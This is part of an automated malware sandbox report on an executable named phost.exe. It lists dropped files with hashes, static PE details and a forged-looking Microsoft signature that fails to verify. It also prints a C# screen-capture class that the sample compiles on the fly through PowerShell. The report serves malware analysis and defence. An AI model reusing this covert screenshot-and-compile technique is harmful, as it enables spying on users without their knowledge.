SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e2ytrl3x.gwy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhchbziw.cdw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iouzc5x5.pjh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ppebwtfj.hum.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pvbdl2mz.eaw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qe2k0bif.qoj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qm2lrtt3.mxy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_quaciqiq.qwv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qvvpvir3.oxe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgrbfte4.5ob.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wsjlypot.gjj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yq5mc14z.otf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z2b54x0v.tsr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmrkxamv.fcx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\jnxiphgt\CSC11F91C33F0BB4EC3B771882E34D952E.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.095915071224832
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryLYak7YnqqGNPN5Dlq5J:+RI+ycuZhNpYakSGNPNnqX
MD5:	39C59C69AAA5EED127843D1E5F5B7D9A
SHA1:	52D6A767476F0994F9F8BF4E9083A9A7A3169044
SHA-256:	6F83F96A3151C087C37A335F31A26F16C7C1E583412B29059D46071A5A669C78
SHA-512:	193D61CF36896B599A1E0DF6D40A3592ACB1FAA2CBCA3380394E442D63C1A405892CFF8B352D16610264D958BC09D8AA0C8ED2C2C16ABA20ED35313888C6CF7D
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...j.n.x.i.p.h.g.t...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...j.n.x.i.p.h.g.t...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	4.154581034278981
Encrypted:	false
SSDEEP:	24:Jo4KMz04F03wykl4qk6oAuBGOUBrRmLW+7UCPa:Jo4hz0BAl4xBQ0XQCC
MD5:	C76055A0388B713A1EABE16130684DC3
SHA1:	EE11E84CF41D8A43340F7102E17660072906C402
SHA-256:	8A3CD008E86A3D835F55F8415F5FD264C6DACDF0B7286E6854EA3F5A363390E7
SHA-512:	22D2804491D90B03BB4B640CB5E2A37D57766C6D82CAF993770DCF2CF97D0F07493C870761F3ECEA15531BD434B780E13AE065A1606681B32A77DBF6906FB4E2
Malicious:	false
Reputation:	unknown
Preview:	.using System;..using System.Collections.Generic;..using System.Drawing;..using System.Windows.Forms;....public class Screenshot..{.. public static List<Bitmap> CaptureScreens().. {.. var results = new List<Bitmap>();.. var allScreens = Screen.AllScreens;.... foreach (Screen screen in allScreens).. {.. try.. {.. Rectangle bounds = screen.Bounds;.. using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)).. {.. using (Graphics graphics = Graphics.FromImage(bitmap)).. {.. graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);.. }.... results.Add((Bitmap)bitmap.Clone());.. }.. }.. catch (Exception).. {.. // Handle any exceptions here.. }.. }.... return results;..

C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (604), with no line terminators
Category:	dropped
Size (bytes):	607
Entropy (8bit):	5.363038818064354
Encrypted:	false
SSDEEP:	12:p37Lvkmb6KOkqe1xBkrk+ikOfFyWZEifF59:V3ka6KOkqeFkOfREifX9
MD5:	E53A72B0EFC65095CF1988DA01F172E2
SHA1:	2DEB23484235D18D21DBC5E1398C9847594D0F54
SHA-256:	C6426350E1FC5BFBB2186D57F4F19D338996D1670E4A750DBF996B76BD3D2306
SHA-512:	86E1273E22427A0452FBB277B92DC500FB16EF17839FF88302132BF7F3E5965A11030FB0E34C5ED54E6FFA58D5B3ABC35158758BD2678BAE48BB085B7DB583EE
Malicious:	true
Reputation:	unknown
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.0.cs"

C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	3.157522076694003
Encrypted:	false
SSDEEP:	48:6h7oEAtf0KhzBU/2f6mtJFN0npW1ulia32q:7Nz0pmdOnEK
MD5:	D1F54FB254363100063A1E6E9805257C
SHA1:	72DA27B8496544A77611315787267880C71A877A
SHA-256:	D55B50C929F43AC85CBCD923FBDCBA614F40B61027584D440C393D884A2D1880
SHA-512:	94544A68FE47C86DC5F04E40B18F49F45CEE0E5829AB12D39D4F34CF0EA1A370DE3844F9D5B3545E05318D3B1B6C3A9F5DB51CE2D2A48A7139B264477FED19B8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....[g...........!.................&... ...@....... ....................................@..................................%..K....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......<!...............................................................0..........s.....(...........8...........o.......(......(....s........(..........(......(....s....~......(....o........,...o........o....t....o........,...o.......&.....X.......i?k.......(....B.(j........9.Q...........{.........(....BSJB............v4.0.30319......l.......#~..........#Strings............#US.........#GUID...........#Blob...........G.........%3............................................

C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (708), with CRLF, CR line terminators
Category:	modified
Size (bytes):	1148
Entropy (8bit):	5.504656764168761
Encrypted:	false
SSDEEP:	24:KJfTId3ka6KOkqeFkOfREifX4Kax5DqBVKVrdFAMBJTH:uTkka6NkqeFkyREuX4K2DcVKdBJj
MD5:	45F3B588A431D010F9D266622E121793
SHA1:	5DF1C6D56C8804838395DBD594EF386C88D08C1C
SHA-256:	1C44FDB5CBE0E88CE11C058619F8709A4AEAD1E8350094FC7F307B8FADB4237A
SHA-512:	2ECA98EEC9B39B5E1A76A91C72466175EDAF1D55460FD4ABDDAAE14D353C911454A466BF7F8EADB28FECFB979CB2C5AD70818977B8058FCB99406D6465E7A856
Malicious:	false
Reputation:	unknown
Preview:	.C:\Users\user\AppData\Local\Temp\..........> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" /out:"C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\jnxiphgt\jnxiphgt.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\ConDrv

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.331807756485642
Encrypted:	false
SSDEEP:	3:lyAZFXZDLsFzAXmZrCZDL4QXAVJK4v:lyqBtoJAXmoZDL4CA1v
MD5:	195D02DA13D597A52F848A9B28D871F6
SHA1:	D048766A802C61655B9689E953103236EACCB1C7
SHA-256:	ADE5C28A2B27B13EFB1145173481C1923CAF78648E49205E7F412A2BEFC7716A
SHA-512:	1B9EDA54315B0F8DB8E43EC6E78996464A90E84DE721611647E8395DBE259C282F06FB6384B08933F8F0B452B42E23EE5A7439974ACC5F53DAD64B08D39F4146
Malicious:	false
Reputation:	unknown
Preview:	..Service Version: 0.0.0.0..Engine Version: 0.0.0.0....No engine/signature is currently loaded...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.993007862257056
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	phost.exe
File size:	7'832'204 bytes
MD5:	8c43bf4445cac5fa025b9dfd07517b6f
SHA1:	b7e9e405e3867213cd3e544574ceff70bef2b6fb
SHA256:	dcf517b48094726367f1fdb2ace3f2cfd29f4f9710512f45ecb0109d03cc0dcc
SHA512:	95097a7d6cbd1bf6ef197a740d70f98ba5dfd8081c3bee0f9f8e3bd100df36a949d5caa770c918f01f4c1d78227ba355026a3774ca2b06329fe6bc5bba00a8a3
SSDEEP:	196608:oPvLjv+bhqNVoBLD7fEXEoYbiIv9pvvk9fIiZ1jA:ajL+9qz8LD7fEUbiIqQgpA
TLSH:	BF863358A3A80DF1EE76503DD766DC4ADB36B8022710C9CF17A563266E27CC5843BBB1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t=.30\.`0\.`0\.`{$.a7\.`{$.a.\.`{$.a:\.` ..`3\.` ..a9\.` ..a!\.` ..a.\.`{$.a;\.`0\.`.\.`{..a)\.`{..a1\.`Rich0\.`........PE..d..

File Icon


Icon Hash:	212303032313271a

Static PE Info

General

Entrypoint:	0x14000ce20
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6755D914 [Sun Dec 8 17:36:20 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	72c4e339b7af8ab1ed2eb3821c98713a

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	27/03/2019 19:21:25 27/03/2020 19:21:25
Subject Chain	CN=Microsoft Windows Publisher, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	AA1D28E8A5D68A49858575128FE50CF2
Thumbprint SHA-1:	995C912805748FCA8F583E1506E1EC651CB24877
Thumbprint SHA-256:	EE4E8D1212CAEC402EA6EE8C2CD33B6856BE8CB51D5D70D3468BAB51E529F7EA
Serial:	33000002176A92089823FB0577000000000217

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FC204FFC2ACh
dec eax
add esp, 28h
jmp 00007FC204FFBECFh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007FC204FFC678h
test eax, eax
je 00007FC204FFC073h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FC204FFC057h
dec eax
cmp ecx, eax
je 00007FC204FFC066h
xor eax, eax
dec eax
cmpxchg dword ptr [0003570Ch], ecx
jne 00007FC204FFC040h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FC204FFC049h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007FC204FFC059h
mov byte ptr [000356F5h], 00000001h
call 00007FC204FFB7A5h
call 00007FC204FFCA90h
test al, al
jne 00007FC204FFC056h
xor al, al
jmp 00007FC204FFC066h
call 00007FC2050095AFh
test al, al
jne 00007FC204FFC05Bh
xor ecx, ecx
call 00007FC204FFCAA0h
jmp 00007FC204FFC03Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [000356BCh], 00000000h
mov ebx, ecx
jne 00007FC204FFC0B9h
cmp ecx, 01h
jnbe 00007FC204FFC0BCh
call 00007FC204FFC5EEh
test eax, eax
je 00007FC204FFC07Ah
test ebx, ebx
jne 00007FC204FFC076h
dec eax
lea ecx, dword ptr [000356A6h]
call 00007FC2050093A2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3ca34	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x327c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x44000	0x2238	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x775c5c	0x2630
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b000	0x764	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3a080	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x39f40	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x29f70	0x2a000	b8c3814c5fb0b18492ad4ec2ffe0830a	False	0.5518740699404762	data	6.489205819736506	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0x12a28	0x12c00	6118b3c9155206deefa2f382d4c72980	False	0.5243229166666666	data	5.750765168350593	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x53f8	0xe00	dba0caeecab624a0ccc0d577241601d1	False	0.134765625	data	1.8392217063172436	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x44000	0x2238	0x2400	9cd1eac931545f28ab09329f8bfce843	False	0.4697265625	data	5.2645170849678795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x327c	0x3400	141d1b5390a493815cc6b39414748958	False	0.8285006009615384	data	7.472807445255008	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
